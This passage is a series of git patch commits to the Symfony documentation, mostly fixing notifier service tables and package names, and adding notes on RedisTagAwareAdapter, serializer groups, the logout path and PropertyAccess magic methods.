-    value with ``mariadb-`` (e.g. ``server_version: mariadb-10.2.12``).
+    value with ``mariadb-`` (e.g. ``server_version: mariadb-10.4.14``).
 
     Always wrap the server version number with quotes to parse it as a string
     instead of a float number. Otherwise, the floating-point representation

From 0bf59205ecd7aa4e93797f9e78154409ad0e6e54 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Wed, 12 Aug 2020 11:26:56 +0200
Subject: [PATCH 1021/7107] Fix package name modified post merge

---
 notifier.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index c1b6ebfabe5..a6a8a32d9aa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -54,15 +54,15 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==========  ===============================  ====================================================
-Service     Package                          DSN
-==========  ===============================  ====================================================
-Twilio      ``symfony/twilio-notifier``      ``twilio://SID:TOKEN@default?from=FROM``
-Nexmo       ``symfony/nexmo-notifier``       ``nexmo://KEY:SECRET@default?from=FROM``
-OvhCloud    ``symfony/ovhcloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-Sinch       ``symfony/sinch-notifier``       ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-FreeMobile  ``symfony/freemobile-notifier``  ``freemobile://LOGIN:PASS@default?phone=PHONE``
-==========  ===============================  ====================================================
+==========  ================================  ====================================================
+Service     Package                           DSN
+==========  ================================  ====================================================
+Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
+Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
+OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+==========  ================================  ====================================================
 
 .. versionadded:: 5.1
 

From 09f378ff3b2957ea5dfca0517c93ae08e89f0513 Mon Sep 17 00:00:00 2001
From: Clorr <Github@clorr.fr>
Date: Tue, 11 Aug 2020 14:31:32 +0200
Subject: [PATCH 1022/7107] Fixing bad path for class PdoSessionHandler

Missing `Handler` directory
---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 69838e26d1a..9e2777efc24 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -358,7 +358,7 @@ Preparing the Database to Store Sessions
 
 Before storing sessions in the database, you must create the table that stores
 the information. The session handler provides a method called
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\PdoSessionHandler::createTable`
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
 to set up this table for you according to the database engine used::
 
     try {

From 2fdc9caeb4649af80539f1f89ec7a9f9f6e95152 Mon Sep 17 00:00:00 2001
From: Mohammad Emran Hasan <phpfour@gmail.com>
Date: Thu, 30 Apr 2020 15:42:31 +0600
Subject: [PATCH 1023/7107] [Notifier] Add Zulip entry

---
 notifier.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index f832cd01780..daba65356de 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -125,14 +125,15 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==========  ===============================  ============================================
+==========  ===============================  =================================================
 Service     Package                          DSN
-==========  ===============================  ============================================
+==========  ===============================  =================================================
 Slack       ``symfony/slack-notifier``       ``slack://default/ID``
 Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
 Mattermost  ``symfony/mattermost-notifier``  ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
 RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-==========  ===============================  ============================================
+Zulip       ``symfony/zulip-notifier``       ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
+==========  ===============================  =================================================
 
 .. versionadded:: 5.1
 
@@ -140,6 +141,10 @@ RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?chann
     5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
     Webhooks instead of legacy tokens.
 
+.. versionadded:: 5.2
+
+    The Zulip integration was introduced in Symfony 5.2. 
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From e1c774bab6c795e5a1938cab9734d1142168b8d0 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Fri, 21 Aug 2020 17:03:31 +0200
Subject: [PATCH 1024/7107] [#13716] add versionadded directive

---
 notifier.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 380e3000610..13aa4c51246 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -69,6 +69,10 @@ Smsapi      ``symfony/smsapi-notifier``      ``smsapi://TOKEN@default?from=FROM`
 
     The OvhCloud, Sinch and FreeMobile integrations were introduced in Symfony 5.1.
 
+.. versionadded:: 5.2
+
+    The Smsapi integration was introduced in Symfony 5.2.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From bc29b4c0048d176fa1a939b976564cc694dd1cb5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Fri, 7 Aug 2020 12:46:23 +0200
Subject: [PATCH 1025/7107] [Notifier] Adjust notifier documentation

---
 notifier.rst | 27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 80e15e1042d..c4ab9fd660e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -338,7 +338,7 @@ To send a notification, autowire the
 
     use Symfony\Component\Notifier\Notification\Notification;
     use Symfony\Component\Notifier\NotifierInterface;
-    use Symfony\Component\Notifier\Recipient\AdminRecipient;
+    use Symfony\Component\Notifier\Recipient\Recipient;
 
     class InvoiceController extends AbstractController
     {
@@ -355,7 +355,7 @@ To send a notification, autowire the
                 ->content('You got a new invoice for 15 EUR.');
 
             // The receiver of the Notification
-            $recipient = new AdminRecipient(
+            $recipient = new Recipient(
                 $user->getEmail(),
                 $user->getPhonenumber()
             );
@@ -375,7 +375,7 @@ both an email and sms notification to the user.
 The default notification also has a ``content()`` and ``emoji()`` method to
 set the notification content and icon.
 
-Symfony provides three types of recipients:
+Symfony provides the following recipients:
 
 :class:`Symfony\\Component\\Notifier\\Recipient\\NoRecipient`
     This is the default and is useful when there is no need to have
@@ -383,14 +383,15 @@ Symfony provides three types of recipients:
     the current requests's :ref:`session flashbag <flash-messages>`;
 
 :class:`Symfony\\Component\\Notifier\\Recipient\\Recipient`
-    This contains only the email address of the user and can be used for
-    messages on the email and browser channel;
-
-:class:`Symfony\\Component\\Notifier\\Recipient\\AdminRecipient`
     This can contain both email address and phonenumber of the user. This
     recipient can be used for all channels (depending on whether they are
     actually set).
 
+.. versionadded:: 5.2
+
+    The ``AdminRecipient`` class was removed in Symfony 5.2, you should use
+    ``Recipient`` instead.
+
 Configuring Channel Policies
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -505,7 +506,8 @@ very high and the recipient has a phone number::
     namespace App\Notifier;
 
     use Symfony\Component\Notifier\Notification\Notification;
-    use Symfony\Component\Notifier\Recipient\Recipient;
+    use Symfony\Component\Notifier\Recipient\RecipientInterface;
+    use Symfony\Component\Notifier\Recipient\SmsRecipientInterface;
 
     class InvoiceNotification extends Notification
     {
@@ -516,12 +518,11 @@ very high and the recipient has a phone number::
             $this->price = $price;
         }
 
-        public function getChannels(Recipient $recipient)
+        public function getChannels(RecipientInterface $recipient)
         {
             if (
                 $this->price > 10000
-                && $recipient instanceof AdminRecipient
-                && null !== $recipient->getPhone()
+                && $recipient instanceof SmsRecipientInterface
             ) {
                 return ['sms'];
             }
@@ -545,7 +546,7 @@ and its ``asChatMessage()`` method::
     use Symfony\Component\Notifier\Message\ChatMessage;
     use Symfony\Component\Notifier\Notification\ChatNotificationInterface;
     use Symfony\Component\Notifier\Notification\Notification;
-    use Symfony\Component\Notifier\Recipient\Recipient;
+    use Symfony\Component\Notifier\Recipient\SmsRecipientInterface;
 
     class InvoiceNotification extends Notification implements ChatNotificationInterface
     {
@@ -556,7 +557,7 @@ and its ``asChatMessage()`` method::
             $this->price = $price;
         }
 
-        public function asChatMessage(Recipient $recipient, string $transport = null): ?ChatMessage
+        public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage
         {
             // Add a custom emoji if the message is sent to Slack
             if ('slack' === $transport) {

From 9d6271a6fe8d7bfca6c3d8e2c40c975eb849e42f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 26 Mar 2020 18:20:07 +0100
Subject: [PATCH 1026/7107] Adding `path`

---
 reference/configuration/security.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 99eaa1e5f93..f649ec90b9f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -528,6 +528,14 @@ The user is considered to have changed when the user class implements
 required by the :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`
 (like the username, password or salt) changes.
 
+``path``
+~~~~~~~~
+
+**type**: ``string`` **default**: ``/logout``
+
+The path which triggers logout. If you change it from the default value ``/logout``,
+you need to set up a route with a matching path.
+
 ``success_handler``
 ~~~~~~~~~~~~~~~~~~~
 

From 7bfacde00a13c34fe94370d80109ce2b531eca35 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20TAMARELLE?= <jerome@tamarelle.net>
Date: Fri, 31 Jul 2020 18:53:14 +0200
Subject: [PATCH 1027/7107] [Notifier] Add GoogleChat to the list of supported
 chat transports

---
 notifier.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index cbb9ce65dc2..a3d21bb3f76 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -133,15 +133,16 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==========  ===============================  =================================================
+==========  ===============================  ============================================================================
 Service     Package                          DSN
-==========  ===============================  =================================================
+==========  ===============================  ============================================================================
 Slack       ``symfony/slack-notifier``       ``slack://default/ID``
 Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
+GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
 Mattermost  ``symfony/mattermost-notifier``  ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
 RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Zulip       ``symfony/zulip-notifier``       ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
-==========  ===============================  =================================================
+==========  ===============================  ============================================================================
 
 .. versionadded:: 5.1
 
@@ -151,7 +152,7 @@ Zulip       ``symfony/zulip-notifier``       ``zulip://EMAIL:APIKEY@ENDPOINT?cha
 
 .. versionadded:: 5.2
 
-    The Zulip integration was introduced in Symfony 5.2. 
+    The GoogleChat and Zulip integrations were introduced in Symfony 5.2.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From e7bc75f4eca455a4484f8060a8d15dd4d800d9cc Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sat, 22 Aug 2020 13:18:40 +0200
Subject: [PATCH 1028/7107] fix table markup

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 488db6b878b..bb1aa53fb6c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -55,7 +55,7 @@ a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
 ==========  ================================  ====================================================
-Service     Package                          DSN
+Service     Package                           DSN
 ==========  ================================  ====================================================
 Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``

From 157a21b47f1ce91fe741db3994315674adbca5d6 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sat, 22 Aug 2020 13:34:41 +0200
Subject: [PATCH 1029/7107] fix table markup

---
 notifier.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index bb1aa53fb6c..858deeacfee 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -133,16 +133,16 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==========  ===============================  ============================================================================
-Service     Package                          DSN
-==========  ===============================  ============================================================================
+==========  ================================  ============================================================================
+Service     Package                           DSN
+==========  ================================  ============================================================================
 Slack       ``symfony/slack-notifier``       ``slack://default/ID``
 Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
 Mattermost  ``symfony/mattermost-notifier``  ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
 RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Zulip       ``symfony/zulip-notifier``       ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
-==========  ===============================  ============================================================================
+==========  ================================  ============================================================================
 
 .. versionadded:: 5.1
 

From ff655425243bf4a0a584168a06ec755942c214dd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sat, 22 Aug 2020 13:54:42 +0200
Subject: [PATCH 1030/7107] finally fix the table markup

---
 notifier.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 858deeacfee..32455105550 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -136,12 +136,12 @@ integration with these chat services:
 ==========  ================================  ============================================================================
 Service     Package                           DSN
 ==========  ================================  ============================================================================
-Slack       ``symfony/slack-notifier``       ``slack://default/ID``
-Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
+Slack       ``symfony/slack-notifier``        ``slack://default/ID``
+Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
-Mattermost  ``symfony/mattermost-notifier``  ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
-RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Zulip       ``symfony/zulip-notifier``       ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
+Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
+RocketChat  ``symfony/rocketchat-notifier``   ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
 ==========  ================================  ============================================================================
 
 .. versionadded:: 5.1

From b7928e520f0057542a4743d95447fc1e9b2bbb17 Mon Sep 17 00:00:00 2001
From: tambait <webwave011@gmail.com>
Date: Tue, 25 Aug 2020 13:35:36 +0200
Subject: [PATCH 1031/7107] [Notifier] Fix wrong package name for the
 RocketChat service

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index a6a8a32d9aa..be0a87937d9 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -134,7 +134,7 @@ Service     Package                          DSN
 Slack       ``symfony/slack-notifier``       ``slack://default/ID``
 Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
 Mattermost  ``symfony/mattermost-notifier``  ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
-RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+RocketChat  ``symfony/rocket-chat-notifier`` ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 ==========  ===============================  ============================================
 
 .. versionadded:: 5.1

From 0847c868631ad49c964eba2b0414f61bc2f170f6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 25 Aug 2020 14:19:07 +0200
Subject: [PATCH 1032/7107] Fix: Indention

---
 notifier.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index eb204af9067..4dafd6d63b6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -57,12 +57,12 @@ with a couple popular SMS services:
 ==========  ================================  ====================================================
 Service     Package                           DSN
 ==========  ================================  ====================================================
-Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
-Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
-OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-Smsapi      ``symfony/smsapi-notifier``       ``smsapi://TOKEN@default?from=FROM``
+Twilio      ``symfony/twilio-notifier``        ``twilio://SID:TOKEN@default?from=FROM``
+Nexmo       ``symfony/nexmo-notifier``         ``nexmo://KEY:SECRET@default?from=FROM``
+OvhCloud    ``symfony/ovhcloud-notifier``      ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sinch       ``symfony/sinch-notifier``         ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+FreeMobile  ``symfony/free-mobile-notifier``   ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+Smsapi      ``symfony/smsapi-notifier``        ``smsapi://TOKEN@default?from=FROM``
 ==========  ================================  ====================================================
 
 .. versionadded:: 5.1

From f526431fe423a0a7e3e6ffc4c3e2ddb4d515f112 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Tue, 25 Aug 2020 18:17:03 +0200
Subject: [PATCH 1033/7107] fix table markup

---
 notifier.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index be0a87937d9..7aab8e37de0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -128,14 +128,14 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==========  ===============================  ============================================
-Service     Package                          DSN
-==========  ===============================  ============================================
-Slack       ``symfony/slack-notifier``       ``slack://default/ID``
-Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
-Mattermost  ``symfony/mattermost-notifier``  ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
-RocketChat  ``symfony/rocket-chat-notifier`` ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-==========  ===============================  ============================================
+==========  ================================  ============================================
+Service     Package                           DSN
+==========  ================================  ============================================
+Slack       ``symfony/slack-notifier``        ``slack://default/ID``
+Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
+Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
+RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+==========  ================================  ============================================
 
 .. versionadded:: 5.1
 

From 83fe3d7e9016154722305c106cfb74f0f0d5cf76 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 16 Aug 2020 09:53:17 +0200
Subject: [PATCH 1034/7107] Add documentation about RedisTagAwareAdapter

---
 components/cache/adapters/redis_adapter.rst | 14 ++++++++++++++
 components/cache/cache_invalidation.rst     |  4 ++++
 2 files changed, 18 insertions(+)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 53b28c58466..b67e70717ac 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -188,6 +188,20 @@ Available Options
     When using the `Predis`_ library some additional Predis-specific options are available.
     Reference the `Predis Connection Parameters`_ documentation for more information.
 
+.. _redis-tag-aware:
+
+Working with Tags
+-----------------
+
+In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but when Redis is used as backend, it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag invalidation logic is implemented in Redis itself, this adapter offers better performance when using tag-based invalidation::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\Cache\Adapter\RedisTagAwareAdapter;
+
+    $client = RedisAdapter::createConnection('redis://localhost');
+    $cache = new RedisTagAwareAdapter($client);
+
+
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index e56153b9ce1..680fd1d28a6 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -58,6 +58,10 @@ To store tags, you need to wrap a cache adapter with the
 :method:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapterInterface::invalidateTags`
 method.
 
+.. note::
+
+    When using a Redis backend, consider using :ref:`RedisTagAwareAdapter <redis-tag-aware>` which is optimized for this purpose.
+
 The :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` class implements
 instantaneous invalidation (time complexity is ``O(N)`` where ``N`` is the number
 of invalidated tags). It needs one or two cache adapters: the first required

From 9a13cd650b59092d0eaf1580aa8a5cebf43687da Mon Sep 17 00:00:00 2001
From: Gary Houbre <ghoubre@sqli.com>
Date: Sat, 28 Mar 2020 00:16:24 +0100
Subject: [PATCH 1035/7107] Added an example Entity for Serializer

---
 serializer.rst | 40 +++++++++++++++++++++++++++++++++++++---
 1 file changed, 37 insertions(+), 3 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 0ee928b8139..110c2aa4f1d 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -212,11 +212,45 @@ with the following configuration:
         ]);
 
 Next, add the :ref:`@Groups annotations <component-serializer-attributes-groups-annotations>`
-to your class and choose which groups to use when serializing::
+to your class::
+
+    // src/Entity/Product.php
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Serializer\Annotation\Groups;
+
+    /**
+     * @ORM\Entity()
+     */
+    class Product
+    {
+        /**
+         * @ORM\Id
+         * @ORM\GeneratedValue
+         * @ORM\Column(type="integer")
+         * @Groups({"show_product", "list_product"})
+         */
+        private $id;
+
+        /**
+         * @ORM\Column(type="string", length=255)
+         * @Groups({"show_product", "list_product"})
+         */
+        private $name;
+
+        /**
+         * @ORM\Column(type="integer")
+         * @Groups({"show_product"})
+         */
+        private $description;
+    }
+
+You can now choose which groups to use when serializing::
 
     $json = $serializer->serialize(
-        $someObject,
-        'json', ['groups' => ['group1']]
+        $product,
+        'json', ['groups' => 'show_product']
     );
 
 In addition to the ``@Groups`` annotation, the Serializer component also

From 5c8861ba1fc78dcdc3d771d0a4e047f45cca5001 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Aug 2020 09:13:25 +0200
Subject: [PATCH 1036/7107] Minor: Add linebreak. refs #13432

---
 serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 110c2aa4f1d..daa7cfd1177 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -250,7 +250,8 @@ You can now choose which groups to use when serializing::
 
     $json = $serializer->serialize(
         $product,
-        'json', ['groups' => 'show_product']
+        'json',
+        ['groups' => 'show_product']
     );
 
 In addition to the ``@Groups`` annotation, the Serializer component also

From caa6858c06757c6bf9870d794ba3d51ca7fd9ac7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Aug 2020 09:29:19 +0200
Subject: [PATCH 1037/7107] Minor: Rename ref. refs #14081

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 components/cache/cache_invalidation.rst     | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index b67e70717ac..c97ab697831 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -188,7 +188,7 @@ Available Options
     When using the `Predis`_ library some additional Predis-specific options are available.
     Reference the `Predis Connection Parameters`_ documentation for more information.
 
-.. _redis-tag-aware:
+.. _redis-tag-aware-adapter:
 
 Working with Tags
 -----------------
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index 680fd1d28a6..22f5830cf3e 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -60,7 +60,8 @@ method.
 
 .. note::
 
-    When using a Redis backend, consider using :ref:`RedisTagAwareAdapter <redis-tag-aware>` which is optimized for this purpose.
+    When using a Redis backend, consider using :ref:`RedisTagAwareAdapter <redis-tag-aware-adapter>`
+    which is optimized for this purpose.
 
 The :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` class implements
 instantaneous invalidation (time complexity is ``O(N)`` where ``N`` is the number

From 883dc985a43b826528a37a7721a1c2754104dc5e Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sat, 15 Aug 2020 18:52:12 +0200
Subject: [PATCH 1038/7107] RedisTagAwareAdapter integration

---
 cache.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/cache.rst b/cache.rst
index d29265d5f7f..1cb422990c3 100644
--- a/cache.rst
+++ b/cache.rst
@@ -102,6 +102,11 @@ The Cache component comes with a series of adapters pre-configured:
 * :doc:`cache.adapter.pdo </components/cache/adapters/pdo_doctrine_dbal_adapter>`
 * :doc:`cache.adapter.psr6 </components/cache/adapters/proxy_adapter>`
 * :doc:`cache.adapter.redis </components/cache/adapters/redis_adapter>`
+* :ref:`cache.adapter.redis_tag_aware <redis-tag-aware-adapter>` (Redis adapter optimized to work with tags)
+
+.. versionadded:: 5.2
+
+    ``cache.adapter.redis_tag_aware`` has been introduced in Symfony 5.2.
 
 Some of these adapters could be configured via shortcuts. Using these shortcuts
 will create pools with service IDs that follow the pattern ``cache.[type]``.

From 8631322f7e0144b0ff11cb5c0df29ed053e5d52e Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Tue, 25 Aug 2020 17:39:42 +0200
Subject: [PATCH 1039/7107] [PropertyAccess] Allow to disable magic __get &
 __set

---
 components/property_access.rst        | 34 +++++++++++++++++++++------
 reference/configuration/framework.rst | 28 ++++++++++++++++++++++
 2 files changed, 55 insertions(+), 7 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index df0f3d99b51..7c8390f9a24 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -191,6 +191,8 @@ method::
     $value = $propertyAccessor->getValue($person, 'birthday');
 
 
+.. _components-property-access-magic-get:
+
 Magic ``__get()`` Method
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -213,6 +215,11 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
+.. versionadded:: 5.2
+
+    The magic `__get` method can be disabled since in Symfony 5.2.
+    see `Enable other Features`_.
+
 .. _components-property-access-magic-call:
 
 Magic ``__call()`` Method
@@ -273,6 +280,8 @@ also write to an array. This can be achieved using the
     // or
     // var_dump($person['first_name']); // 'Wouter'
 
+.. _components-property-access-writing-to-objects:
+
 Writing to Objects
 ------------------
 
@@ -351,6 +360,11 @@ see `Enable other Features`_::
 
     var_dump($person->getWouter()); // [...]
 
+.. versionadded:: 5.2
+
+    The magic `__set` method can be disabled since in Symfony 5.2.
+    see `Enable other Features`_.
+
